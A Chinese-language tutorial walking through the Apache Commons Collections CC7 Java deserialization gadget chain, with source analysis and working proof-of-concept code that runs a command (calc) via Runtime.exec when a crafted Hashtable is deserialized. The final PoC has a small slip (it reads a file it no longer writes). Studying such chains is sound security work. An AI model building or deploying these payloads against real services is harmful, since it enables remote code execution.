背景 Java 8u76及以上版本修复了CC5中BadAttributeValueExpException
入口点,导致利用链失效,CC7规避这些受到限制的类,找到了一个更底层的类。
CC7链分析
链尾还是不变,直接把CC5的拿来
1 2 3 4 5 6 7 8 9 10 11 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);
接着就还是需要找一个可以调用get()
方法的类
AbstractMap
我这里参考ysoserial 官方链的利用类,官方链用到的类和方法为AbstractMap#equals()
跟进去看一下 可以看到在equals()
方法中调用了get()
方法源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } }
AbstractMapDecorator
这个类先不说,它在利用链的中途被调用了一下,后面会解释为什么。
接下来就需要继续找能够调用equals()
方法的类
链首Hashtable 该链的头部为Hashtable
,它的reconstitutionPut()
可以调用到equals()
方法
跟进readObject()
方法看一下
跟进reconstitutionPut
方法看一下 看到通过e.key.equals
调用了equals()
方法;同时还可以看到一个hashCode()方法,因为CC6中用到过hashCode()
这里就不利用该方法了。
疑惑解决 前面已经提到AbstractMapDecorator
类被调用过,此时我们需要知道LazyMap
的父类为AbstractMapDecorator
,而该链用到的AbstractMap
类又是AbstractMapDecorator
的父类,因此当通过e.key.equals
(LazyMap.equals)调用时,LazyMap没有equals方法 ,它就会往上找它的父类AbstractMapDecorator
(这里被调用),而该类也没有,继续往上找父类就找到了AbstractMap
其中reconstitutionPut源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
源码解读
该参数算是代表实体Map的键值对数组
1 int hash = key.hashCode();
hash是用来计算key的hash
1 2 3 4 5 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } }
最重要的是这个for循环,该循环是用来循环全部的数组的,用来判断数组中是否存在重复键。只有Map中存在重复键时才会进入for循环 ,以便代码用来抛出错误;我们的目的就需要让它存在重复的键值以便进入for循环,执行e.key.equals(key)
半成品POC
在不看能不能利用的情况下,先把整条链子串起来写一个半成品POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CC7Test { public static void main (String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer); Hashtable hashtable = new Hashtable (); hashtable.put(decoratemap, "jjxxx" ); serialize(hashtable); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("2.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
POC完善 问题一解决
前文已经提到过,要想进入reconstitutionPut方法的for循环,需要传入两个hash相同的重复键,这就涉及到了hash碰撞,想了解的可以搜一下。
这两组字母经过hashCode()
后得到的hash是相同的。
通过put给添加进去
1 2 3 4 5 6 7 8 9 10 11 HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); Map lazymap1 = LazyMap.decorate(hashMap1,chainedTransformer); lazymap1.put("yy" ,1 ); Map lazymap2 = LazyMap.decorate(hashMap2,chainedTransformer); lazymap2.put("zZ" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazymap1, "jjxxx" ); hashtable.put(lazymap2, "jjxxx" );
这样就满足了进入for循环的条件,并调用equals
方法。
问题二解决 但是使用上面写法会发现,当序列化的时候就会触发利用链弹出计算器
我们还是用老办法,先让chainstransformer置空,后面再通过反射把它改回来
1 2 3 4 Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers);
问题三解决 同时在调试过程中可以看到lazymap2多了一个yy
原因是因为hashtable.put(lazymap2, "jjxxx");
过程中会自动调用equals()
方法判断是否为同一对象,而equals()
又会调用LazyMap
的get()
方法通过put()
添加一个yy元素
lazymap2多了一个map,size为2,lazymap1的size为1
反序列化过程中,如果两个lazymap的size不同就会返回false导致无法成功向下调用利用链
因此我们需要删除yy,防止反序列化时无法调用完整利用链
最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CC7Test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); Map lazymap1 = LazyMap.decorate(hashMap1,chainedTransformer); lazymap1.put("yy" ,1 ); Map lazymap2 = LazyMap.decorate(hashMap2,chainedTransformer); lazymap2.put("zZ" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazymap1, "jjxxx" ); hashtable.put(lazymap2, "jjxxx" ); Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); lazymap2.remove("yy" ); unserialize("2.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("2.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
成功弹出计算器
流程图 CC7
总流程图
总结 该利用链更换了两个头部类,CC5整条利用链并不难,主要是在前面的三个问题的解决需要多理解理解就行了。